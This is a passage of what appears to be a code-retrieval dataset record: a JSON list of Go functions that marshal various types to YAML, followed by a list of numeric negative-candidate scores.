nil\\n}\",\n \"func (re Regexp) MarshalYAML() (interface{}, error) {\\n\\tif re.original != \\\"\\\" {\\n\\t\\treturn re.original, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (o *OpenAPI3PathExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (d *DefaultOptions) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(d)\\n}\",\n \"func (cp *CertPool) MarshalYAML() (interface{}, error) {\\n\\treturn cp.Files, nil\\n}\",\n \"func (i Instance) MarshalYAML() (interface{}, error) {\\n\\treturn i.Vars, nil\\n}\",\n \"func Marshal(v interface{}) ([]byte, error) {\\n\\tvar buf bytes.Buffer\\n\\tenc := yaml.NewEncoder(&buf)\\n\\tenc.SetIndent(2)\\n\\terr := enc.Encode(v)\\n\\treturn buf.Bytes(), err\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (s Secret) MarshalYAML() (interface{}, error) {\\n\\tif s != \\\"\\\" {\\n\\t\\treturn \\\"\\\", nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (z Z) MarshalYAML() (interface{}, error) {\\n\\ttype Z struct {\\n\\t\\tS string `json:\\\"s\\\"`\\n\\t\\tI int32 `json:\\\"iVal\\\"`\\n\\t\\tHash string\\n\\t\\tMultiplyIByTwo int64 `json:\\\"multipliedByTwo\\\"`\\n\\t}\\n\\tvar enc Z\\n\\tenc.S = z.S\\n\\tenc.I = z.I\\n\\tenc.Hash = z.Hash()\\n\\tenc.MultiplyIByTwo = int64(z.MultiplyIByTwo())\\n\\treturn &enc, nil\\n}\",\n \"func MarshalMetricsYAML(metrics pmetric.Metrics) ([]byte, error) {\\n\\tunmarshaler := &pmetric.JSONMarshaler{}\\n\\tfileBytes, err := unmarshaler.MarshalMetrics(metrics)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tvar jsonVal map[string]interface{}\\n\\tif err = json.Unmarshal(fileBytes, &jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tb := &bytes.Buffer{}\\n\\tenc := yaml.NewEncoder(b)\\n\\tenc.SetIndent(2)\\n\\tif err := enc.Encode(jsonVal); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn b.Bytes(), nil\\n}\",\n \"func (bc *ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(AtomicLoadByteCount(bc)), nil\\n}\",\n \"func (op *OpFlatten) UnmarshalYAML(unmarshal func(interface{}) error) error {\\n\\treturn unmarshal(&op.Field)\\n}\",\n \"func (d LegacyDec) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (f Flag) MarshalYAML() (interface{}, error) {\\n\\treturn f.Name, nil\\n}\",\n \"func (b *Backend) MarshalYAML() (interface{}, error) {\\n\\tb.mu.RLock()\\n\\tdefer b.mu.RUnlock()\\n\\n\\tpayload := struct {\\n\\t\\tAddress string\\n\\t\\tDisabledUntil time.Time `yaml:\\\"disabledUntil\\\"`\\n\\t\\tForcePromotionsAfter time.Duration `yaml:\\\"forcePromotionsAfter\\\"`\\n\\t\\tLatency time.Duration `yaml:\\\"latency\\\"`\\n\\t\\tMaxConnections int `yaml:\\\"maxConnections\\\"`\\n\\t\\tTier int `yaml:\\\"tier\\\"`\\n\\t}{\\n\\t\\tAddress: b.addr.String(),\\n\\t\\tDisabledUntil: b.mu.disabledUntil,\\n\\t\\tForcePromotionsAfter: b.mu.forcePromotionAfter,\\n\\t\\tLatency: b.mu.lastLatency,\\n\\t\\tMaxConnections: b.mu.maxConnections,\\n\\t\\tTier: b.mu.tier,\\n\\t}\\n\\treturn payload, nil\\n}\",\n \"func (o *OpenAPI3SchemaExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (p Params) MarshalYAML() (interface{}, error) {\\n\\treturn p.String(), nil\\n}\",\n \"func (key PrivateKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func MarshalToYaml(obj runtime.Object, gv schema.GroupVersion) ([]byte, error) {\\n\\treturn MarshalToYamlForCodecs(obj, gv, clientsetscheme.Codecs)\\n}\",\n \"func (i UOM) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (r ReadUntilConfig) MarshalYAML() (interface{}, error) {\\n\\tdummy := dummyReadUntilConfig{\\n\\t\\tInput: r.Input,\\n\\t\\tRestart: r.Restart,\\n\\t\\tCheck: r.Check,\\n\\t}\\n\\tif r.Input == nil {\\n\\t\\tdummy.Input = struct{}{}\\n\\t}\\n\\treturn dummy, nil\\n}\",\n \"func (f Fixed8) MarshalYAML() (interface{}, error) {\\n\\treturn f.String(), nil\\n}\",\n \"func (m OrderedMap[K, V]) MarshalYAML() ([]byte, error) {\\n\\tvar s yaml.MapSlice\\n\\tfor _, item := range m.ToSlice() {\\n\\t\\ts = append(s, yaml.MapItem{\\n\\t\\t\\tKey: item.Key,\\n\\t\\t\\tValue: item.Value,\\n\\t\\t})\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (o *OpenAPI3Options) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (r *Regexp) MarshalYAML() (interface{}, error) {\\n\\treturn r.String(), nil\\n}\",\n \"func (d *WebAuthnDevice) MarshalYAML() (any, error) {\\n\\treturn d.ToData(), nil\\n}\",\n \"func (b ByteCount) MarshalYAML() (interface{}, error) {\\n\\treturn uint64(b), nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\treturn u.String(), nil\\n}\",\n \"func (d Rate) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (i Interface) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (s *spiff) Marshal(node Node) ([]byte, error) {\\n\\treturn yaml.Marshal(node)\\n}\",\n \"func (v Validator) MarshalYAML() (interface{}, error) {\\n\\tbs, err := yaml.Marshal(struct {\\n\\t\\tStatus sdk.BondStatus\\n\\t\\tJailed bool\\n\\t\\tUnbondingHeight int64\\n\\t\\tConsPubKey string\\n\\t\\tOperatorAddress sdk.ValAddress\\n\\t\\tTokens sdk.Int\\n\\t\\tDelegatorShares sdk.Dec\\n\\t\\tDescription Description\\n\\t\\tUnbondingCompletionTime time.Time\\n\\t\\tCommission Commission\\n\\t\\tMinSelfDelegation sdk.Dec\\n\\t}{\\n\\t\\tOperatorAddress: v.OperatorAddress,\\n\\t\\tConsPubKey: MustBech32ifyConsPub(v.ConsPubKey),\\n\\t\\tJailed: v.Jailed,\\n\\t\\tStatus: v.Status,\\n\\t\\tTokens: v.Tokens,\\n\\t\\tDelegatorShares: v.DelegatorShares,\\n\\t\\tDescription: v.Description,\\n\\t\\tUnbondingHeight: v.UnbondingHeight,\\n\\t\\tUnbondingCompletionTime: v.UnbondingCompletionTime,\\n\\t\\tCommission: v.Commission,\\n\\t\\tMinSelfDelegation: v.MinSelfDelegation,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), nil\\n}\",\n \"func (f BodyField) MarshalYAML() (interface{}, error) {\\n\\treturn toJSONDot(f), nil\\n}\",\n \"func (u *URL) MarshalYAML() (interface{}, error) {\\n\\tif u.url == nil {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn u.url.String(), nil\\n}\",\n \"func (r ParseKind) MarshalYAML() ([]byte, error) {\\n\\tif s, ok := interface{}(r).(fmt.Stringer); ok {\\n\\t\\treturn yaml.Marshal(s.String())\\n\\t}\\n\\ts, ok := _ParseKindValueToName[r]\\n\\tif !ok {\\n\\t\\treturn nil, fmt.Errorf(\\\"invalid ParseKind: %d\\\", r)\\n\\t}\\n\\treturn yaml.Marshal(s)\\n}\",\n \"func (b Bool) MarshalYAML() (interface{}, error) {\\n\\tif !b.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn b.value, nil\\n}\",\n \"func (d Document) MarshalYAML() (interface{}, error) {\\n\\treturn d.raw, nil\\n}\",\n \"func (m MixinDeclaration) MarshalYAML() (interface{}, error) {\\n\\tif m.Config == nil {\\n\\t\\treturn m.Name, nil\\n\\t}\\n\\n\\traw := map[string]interface{}{\\n\\t\\tm.Name: m.Config,\\n\\t}\\n\\treturn raw, nil\\n}\",\n \"func (r Discriminator) MarshalYAML() (interface{}, error) {\\n\\tobj := make(map[string]interface{})\\n\\n\\tobj[\\\"propertyName\\\"] = r.PropertyName\\n\\n\\tif len(r.Mapping) > 0 {\\n\\t\\tobj[\\\"mapping\\\"] = r.Mapping\\n\\t}\\n\\n\\treturn obj, nil\\n}\",\n \"func (schema SchemaType) MarshalYAML() (interface{}, error) {\\n\\treturn schema.String(), nil\\n}\",\n \"func MarshalToYamlForCodecs(obj runtime.Object, gv schema.GroupVersion, codecs serializer.CodecFactory) ([]byte, error) {\\n\\tconst mediaType = runtime.ContentTypeYAML\\n\\tinfo, ok := runtime.SerializerInfoForMediaType(codecs.SupportedMediaTypes(), mediaType)\\n\\tif !ok {\\n\\t\\treturn []byte{}, errors.Errorf(\\\"unsupported media type %q\\\", mediaType)\\n\\t}\\n\\n\\tencoder := codecs.EncoderForVersion(info.Serializer, gv)\\n\\treturn runtime.Encode(encoder, obj)\\n}\",\n \"func asYaml(w io.Writer, m resmap.ResMap) error {\\n\\tb, err := m.AsYaml()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t_, err = w.Write(b)\\n\\treturn err\\n}\",\n \"func (c CompressionType) MarshalYAML() (interface{}, error) {\\n\\treturn compressionTypeID[c], nil\\n}\",\n \"func (v *Int8) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func (o *OpenAPI3ResponseExtension) MarshalYAML() (interface{}, error) {\\n\\treturn util.MarshalYAMLWithDescriptions(o)\\n}\",\n \"func (i Int) MarshalYAML() (interface{}, error) {\\n\\tif !i.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn i.value, nil\\n}\",\n \"func (ss StdSignature) MarshalYAML() (interface{}, error) {\\n\\tpk := \\\"\\\"\\n\\tif ss.PubKey != nil {\\n\\t\\tpk = ss.PubKey.String()\\n\\t}\\n\\n\\tbz, err := yaml.Marshal(struct {\\n\\t\\tPubKey string `json:\\\"pub_key\\\"`\\n\\t\\tSignature string `json:\\\"signature\\\"`\\n\\t}{\\n\\t\\tpk,\\n\\t\\tfmt.Sprintf(\\\"%X\\\", ss.Signature),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bz), err\\n}\",\n \"func (key PublicKey) MarshalYAML() (interface{}, error) {\\n\\treturn key.String(), nil\\n}\",\n \"func (k *Kluster) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(k)\\n}\",\n \"func (op OpRemove) MarshalYAML() (interface{}, error) {\\n\\treturn op.Field.String(), nil\\n}\",\n \"func (i ChannelName) MarshalYAML() (interface{}, error) {\\n\\treturn i.String(), nil\\n}\",\n \"func (u URL) MarshalYAML() (interface{}, error) {\\n\\tif u.URL != nil {\\n\\t\\treturn u.String(), nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func Marshal(ctx context.Context, obj interface{}, paths ...string) (string, error) {\\n\\trequestYaml, err := yaml.MarshalContext(ctx, obj)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tfile, err := parser.ParseBytes(requestYaml, 0)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// normalize the structure converting the byte slice fields to string\\n\\tfor _, path := range paths {\\n\\t\\tpathString, err := yaml.PathString(path)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tvar byteSlice []byte\\n\\t\\terr = pathString.Read(strings.NewReader(string(requestYaml)), &byteSlice)\\n\\t\\tif err != nil && !errors.Is(err, yaml.ErrNotFoundNode) {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t\\tif err := pathString.ReplaceWithReader(file,\\n\\t\\t\\tstrings.NewReader(string(byteSlice)),\\n\\t\\t); err != nil {\\n\\t\\t\\treturn \\\"\\\", err\\n\\t\\t}\\n\\t}\\n\\n\\treturn file.String(), nil\\n}\",\n \"func (va ClawbackVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(va.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: va.AccountNumber,\\n\\t\\tPubKey: getPKString(va),\\n\\t\\tSequence: va.Sequence,\\n\\t\\tOriginalVesting: va.OriginalVesting,\\n\\t\\tDelegatedFree: va.DelegatedFree,\\n\\t\\tDelegatedVesting: va.DelegatedVesting,\\n\\t\\tEndTime: va.EndTime,\\n\\t\\tStartTime: va.StartTime,\\n\\t\\tVestingPeriods: va.VestingPeriods,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func Marshal(o interface{}) ([]byte, error) {\\n\\tj, err := json.Marshal(o)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error marshaling into JSON: %v\\\", err)\\n\\t}\\n\\n\\ty, err := JSONToYAML(j)\\n\\tif err != nil {\\n\\t\\treturn nil, fmt.Errorf(\\\"error converting JSON to YAML: %v\\\", err)\\n\\t}\\n\\n\\treturn y, nil\\n}\",\n \"func (v *VersionInfo) MarshalYAML() (interface{}, error) {\\n\\n\\treturn &struct {\\n\\t\\tSemVer string `yaml:\\\"semver\\\"`\\n\\t\\tShaLong string `yaml:\\\"shaLong\\\"`\\n\\t\\tBuildTimestamp int64 `yaml:\\\"buildTimestamp\\\"`\\n\\t\\tBranch string `yaml:\\\"branch\\\"`\\n\\t\\tArch string `yaml:\\\"arch\\\"`\\n\\t}{\\n\\t\\tSemVer: v.SemVer,\\n\\t\\tShaLong: v.ShaLong,\\n\\t\\tBuildTimestamp: v.BuildTimestamp.Unix(),\\n\\t\\tBranch: v.Branch,\\n\\t\\tArch: v.Arch,\\n\\t}, nil\\n}\",\n \"func (date Date) MarshalYAML() (interface{}, error) {\\n\\tvar d = string(date)\\n\\tif err := checkDateFormat(d); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn d, nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.String(), nil\\n}\",\n \"func (f Float64) MarshalYAML() (interface{}, error) {\\n\\tif !f.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn f.value, nil\\n}\",\n \"func SortYAML(in io.Reader, out io.Writer, indent int) error {\\n\\n\\tincomingYAML, err := ioutil.ReadAll(in)\\n\\tif err != nil {\\n\\t\\treturn fmt.Errorf(\\\"can't read input: %v\\\", err)\\n\\t}\\n\\n\\tvar hasNoStartingLabel bool\\n\\trootIndent, err := detectRootIndent(incomingYAML)\\n\\tif err != nil {\\n\\t\\tif !errors.Is(err, ErrNoStartingLabel) {\\n\\t\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\t\\treturn fmt.Errorf(\\\"can't detect root indentation: %v\\\", err)\\n\\t\\t}\\n\\n\\t\\thasNoStartingLabel = true\\n\\t}\\n\\n\\tif hasNoStartingLabel {\\n\\t\\tincomingYAML = append([]byte(CustomLabel+\\\"\\\\n\\\"), incomingYAML...)\\n\\t}\\n\\n\\tvar value map[string]interface{}\\n\\tif err := yaml.Unmarshal(incomingYAML, &value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\n\\t\\treturn fmt.Errorf(\\\"can't decode YAML: %v\\\", err)\\n\\t}\\n\\n\\tvar outgoingYAML bytes.Buffer\\n\\tencoder := yaml.NewEncoder(&outgoingYAML)\\n\\tencoder.SetIndent(indent)\\n\\n\\tif err := encoder.Encode(&value); err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-encode YAML: %v\\\", err)\\n\\t}\\n\\n\\treindentedYAML, err := indentYAML(outgoingYAML.String(), rootIndent, indent, hasNoStartingLabel)\\n\\tif err != nil {\\n\\t\\tfmt.Fprint(out, string(incomingYAML))\\n\\t\\treturn fmt.Errorf(\\\"can't re-indent YAML: %v\\\", err)\\n\\t}\\n\\n\\tfmt.Fprint(out, reindentedYAML)\\n\\treturn nil\\n}\",\n \"func (d Duration) MarshalYAML() (interface{}, error) {\\n\\treturn d.Duration.String(), nil\\n}\",\n \"func (bva BaseVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(bva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: bva.AccountNumber,\\n\\t\\tPubKey: getPKString(bva),\\n\\t\\tSequence: bva.Sequence,\\n\\t\\tOriginalVesting: bva.OriginalVesting,\\n\\t\\tDelegatedFree: bva.DelegatedFree,\\n\\t\\tDelegatedVesting: bva.DelegatedVesting,\\n\\t\\tEndTime: bva.EndTime,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (cva ContinuousVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(cva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: cva.AccountNumber,\\n\\t\\tPubKey: getPKString(cva),\\n\\t\\tSequence: cva.Sequence,\\n\\t\\tOriginalVesting: cva.OriginalVesting,\\n\\t\\tDelegatedFree: cva.DelegatedFree,\\n\\t\\tDelegatedVesting: cva.DelegatedVesting,\\n\\t\\tEndTime: cva.EndTime,\\n\\t\\tStartTime: cva.StartTime,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (ec EllipticCurve) MarshalYAML() (interface{}, error) {\\n\\treturn ec.String(), nil\\n}\",\n \"func (v *Uint16) MarshalYAML() (interface{}, error) {\\n\\tif v.IsAssigned {\\n\\t\\treturn v.Val, nil\\n\\t}\\n\\treturn nil, nil\\n}\",\n \"func MarshalUnmarshal(in interface{}, out interface{}) error {\\n\\t// struct -> yaml -> map for easy access\\n\\trdr, err := Marshal(in)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn Unmarshal(rdr, out)\\n}\",\n \"func (pva PeriodicVestingAccount) MarshalYAML() (interface{}, error) {\\n\\taccAddr, err := sdk.AccAddressFromBech32(pva.Address)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tout := vestingAccountYAML{\\n\\t\\tAddress: accAddr,\\n\\t\\tAccountNumber: pva.AccountNumber,\\n\\t\\tPubKey: getPKString(pva),\\n\\t\\tSequence: pva.Sequence,\\n\\t\\tOriginalVesting: pva.OriginalVesting,\\n\\t\\tDelegatedFree: pva.DelegatedFree,\\n\\t\\tDelegatedVesting: pva.DelegatedVesting,\\n\\t\\tEndTime: pva.EndTime,\\n\\t\\tStartTime: pva.StartTime,\\n\\t\\tVestingPeriods: pva.VestingPeriods,\\n\\t}\\n\\treturn marshalYaml(out)\\n}\",\n \"func (d DurationMinutes) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn int(d.value / time.Minute), nil\\n}\",\n \"func (c Configuration) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(c)\\n}\",\n \"func (vva ValidatorVestingAccount) MarshalYAML() (interface{}, error) {\\n\\tvar bs []byte\\n\\tvar err error\\n\\tvar pubkey string\\n\\n\\tif vva.PubKey != nil {\\n\\t\\tpubkey, err = sdk.Bech32ifyAccPub(vva.PubKey)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tbs, err = yaml.Marshal(struct {\\n\\t\\tAddress sdk.AccAddress\\n\\t\\tCoins sdk.Coins\\n\\t\\tPubKey string\\n\\t\\tAccountNumber uint64\\n\\t\\tSequence uint64\\n\\t\\tOriginalVesting sdk.Coins\\n\\t\\tDelegatedFree sdk.Coins\\n\\t\\tDelegatedVesting sdk.Coins\\n\\t\\tEndTime int64\\n\\t\\tStartTime int64\\n\\t\\tVestingPeriods vestingtypes.Periods\\n\\t\\tValidatorAddress sdk.ConsAddress\\n\\t\\tReturnAddress sdk.AccAddress\\n\\t\\tSigningThreshold int64\\n\\t\\tCurrentPeriodProgress CurrentPeriodProgress\\n\\t\\tVestingPeriodProgress []VestingProgress\\n\\t\\tDebtAfterFailedVesting sdk.Coins\\n\\t}{\\n\\t\\tAddress: vva.Address,\\n\\t\\tCoins: vva.Coins,\\n\\t\\tPubKey: pubkey,\\n\\t\\tAccountNumber: vva.AccountNumber,\\n\\t\\tSequence: vva.Sequence,\\n\\t\\tOriginalVesting: vva.OriginalVesting,\\n\\t\\tDelegatedFree: vva.DelegatedFree,\\n\\t\\tDelegatedVesting: vva.DelegatedVesting,\\n\\t\\tEndTime: vva.EndTime,\\n\\t\\tStartTime: vva.StartTime,\\n\\t\\tVestingPeriods: vva.VestingPeriods,\\n\\t\\tValidatorAddress: vva.ValidatorAddress,\\n\\t\\tReturnAddress: vva.ReturnAddress,\\n\\t\\tSigningThreshold: vva.SigningThreshold,\\n\\t\\tCurrentPeriodProgress: vva.CurrentPeriodProgress,\\n\\t\\tVestingPeriodProgress: vva.VestingPeriodProgress,\\n\\t\\tDebtAfterFailedVesting: vva.DebtAfterFailedVesting,\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn string(bs), err\\n}\",\n \"func (d DurationMillis) MarshalYAML() (interface{}, error) {\\n\\tif !d.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn int(d.value / time.Millisecond), nil\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif !s.IsPresent() {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn s.value, nil\\n}\",\n \"func Dump(v interface{}) ([]byte, error) {\\n\\treturn yaml.Marshal(v)\\n}\",\n \"func (d *Dataset) YAML() (string, error) {\\n\\tback := d.Dict()\\n\\n\\tb, err := yaml.Marshal(back)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(b), nil\\n}\",\n \"func (m *MagmaSwaggerSpec) MarshalToYAML() (string, error) {\\n\\td, err := yaml.Marshal(&m)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(d), nil\\n}\",\n \"func (c *Config) YAML() ([]byte, error) {\\n\\treturn yaml.Marshal(c)\\n}\",\n \"func SPrintYAML(a interface{}) (string, error) {\\n\\tb, err := MarshalJSON(a)\\n\\t// doing yaml this way because at times you have nested proto structs\\n\\t// that need to be cleaned.\\n\\tyam, err := yamlconv.JSONToYAML(b)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn string(yam), nil\\n}\",\n \"func (s String) MarshalYAML() (interface{}, error) {\\n\\tif len(string(s)) == 0 || string(s) == `\\\"\\\"` {\\n\\t\\treturn nil, nil\\n\\t}\\n\\treturn string(s), nil\\n}\",\n \"func ToYAML(v interface{}) ([]byte, error) {\\n\\treturn yaml.Marshal(v)\\n}\",\n \"func MarshalYAMLWithDescriptions(val interface{}) (interface{}, error) {\\n\\ttp := reflect.TypeOf(val)\\n\\tif tp.Kind() == reflect.Ptr {\\n\\t\\ttp = tp.Elem()\\n\\t}\\n\\n\\tif tp.Kind() != reflect.Struct {\\n\\t\\treturn nil, fmt.Errorf(\\\"only structs are supported\\\")\\n\\t}\\n\\n\\tv := reflect.ValueOf(val)\\n\\tif v.Kind() == reflect.Ptr {\\n\\t\\tv = v.Elem()\\n\\t}\\n\\n\\tb, err := yaml.Marshal(v.Interface())\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar node yaml.Node\\n\\terr = yaml.Unmarshal(b, &node)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tif !DisableYAMLMarshalComments {\\n\\t\\tfor _, n := range node.Content[0].Content {\\n\\t\\t\\tfor i := 0; i < v.NumField(); i++ {\\n\\t\\t\\t\\tfieldType := tp.Field(i)\\n\\t\\t\\t\\tname := strings.Split(fieldType.Tag.Get(\\\"yaml\\\"), \\\",\\\")[0]\\n\\n\\t\\t\\t\\tif name == \\\"\\\" {\\n\\t\\t\\t\\t\\tname = fieldType.Name\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t\\tif n.Value == name {\\n\\t\\t\\t\\t\\tdesc := fieldType.Tag.Get(\\\"description\\\")\\n\\t\\t\\t\\t\\tn.HeadComment = wordwrap.WrapString(desc, 80) + \\\".\\\"\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\tnode.Kind = yaml.MappingNode\\n\\tnode.Content = node.Content[0].Content\\n\\n\\treturn &node, nil\\n}\",\n \"func (a *AppConfig) Dump() ([]byte, error) {\\n\\tb, err := yaml.Marshal(a)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn b, nil\\n}\",\n \"func ToYaml(objs []runtime.Object) ([]byte, error) {\\n\\tvar out bytes.Buffer\\n\\tfor _, obj := range objs {\\n\\t\\t// the idea is from https://github.com/ant31/crd-validation/blob/master/pkg/cli-utils.go\\n\\t\\tbs, err := json.Marshal(obj)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tvar us unstructured.Unstructured\\n\\t\\tif err := json.Unmarshal(bs, &us.Object); err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\tunstructured.RemoveNestedField(us.Object, \\\"status\\\")\\n\\n\\t\\tbs, err = yaml.Marshal(us.Object)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\t\\tout.WriteString(\\\"---\\\\n\\\")\\n\\t\\tout.Write(bs)\\n\\t\\tout.WriteString(\\\"\\\\n\\\")\\n\\t}\\n\\treturn out.Bytes(), nil\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.710122","0.7007147","0.6850516","0.6689686","0.65715975","0.6550256","0.6548482","0.653693","0.65306467","0.6528684","0.6524846","0.65176773","0.6494597","0.647498","0.64531684","0.6434071","0.64143425","0.64121646","0.64121646","0.6408674","0.63941634","0.637508","0.6369802","0.63308024","0.63287544","0.63287544","0.6324582","0.6322086","0.6289642","0.6270092","0.62341225","0.62139845","0.62132204","0.61879504","0.61698925","0.61691976","0.6165771","0.61543065","0.61539054","0.6141767","0.6136494","0.6129229","0.6118657","0.609331","0.6092412","0.6079432","0.6049371","0.6020646","0.60150087","0.59963286","0.599356","0.5979212","0.59691924","0.596016","0.5960045","0.59571576","0.5935965","0.5920665","0.59191877","0.59138554","0.5893095","0.58921474","0.5892142","0.5886277","0.5879883","0.5874865","0.58289796","0.5800964","0.5788488","0.57860845","0.5749724","0.57447916","0.5714084","0.56887907","0.5682602","0.5677541","0.56499606","0.5647382","0.5608704","0.56054014","0.5588619","0.55603504","0.54945457","0.54938656","0.5490516","0.54829323","0.5466834","0.54007","0.539001","0.537833","0.53745246","0.5371688","0.53645146","0.5350431","0.5338855","0.53277516","0.5304083","0.5303335","0.5302906","0.5251439"],"string":"[\n \"0.710122\",\n \"0.7007147\",\n \"0.6850516\",\n \"0.6689686\",\n \"0.65715975\",\n \"0.6550256\",\n \"0.6548482\",\n \"0.653693\",\n \"0.65306467\",\n \"0.6528684\",\n \"0.6524846\",\n \"0.65176773\",\n \"0.6494597\",\n \"0.647498\",\n \"0.64531684\",\n \"0.6434071\",\n \"0.64143425\",\n \"0.64121646\",\n \"0.64121646\",\n \"0.6408674\",\n \"0.63941634\",\n \"0.637508\",\n \"0.6369802\",\n \"0.63308024\",\n \"0.63287544\",\n \"0.63287544\",\n \"0.6324582\",\n \"0.6322086\",\n \"0.6289642\",\n \"0.6270092\",\n \"0.62341225\",\n \"0.62139845\",\n \"0.62132204\",\n \"0.61879504\",\n \"0.61698925\",\n \"0.61691976\",\n \"0.6165771\",\n \"0.61543065\",\n \"0.61539054\",\n \"0.6141767\",\n \"0.6136494\",\n \"0.6129229\",\n \"0.6118657\",\n \"0.609331\",\n \"0.6092412\",\n \"0.6079432\",\n \"0.6049371\",\n \"0.6020646\",\n \"0.60150087\",\n \"0.59963286\",\n \"0.599356\",\n \"0.5979212\",\n \"0.59691924\",\n \"0.596016\",\n \"0.5960045\",\n \"0.59571576\",\n \"0.5935965\",\n \"0.5920665\",\n \"0.59191877\",\n \"0.59138554\",\n \"0.5893095\",\n \"0.58921474\",\n \"0.5892142\",\n \"0.5886277\",\n \"0.5879883\",\n \"0.5874865\",\n \"0.58289796\",\n \"0.5800964\",\n \"0.5788488\",\n \"0.57860845\",\n \"0.5749724\",\n \"0.57447916\",\n \"0.5714084\",\n \"0.56887907\",\n \"0.5682602\",\n 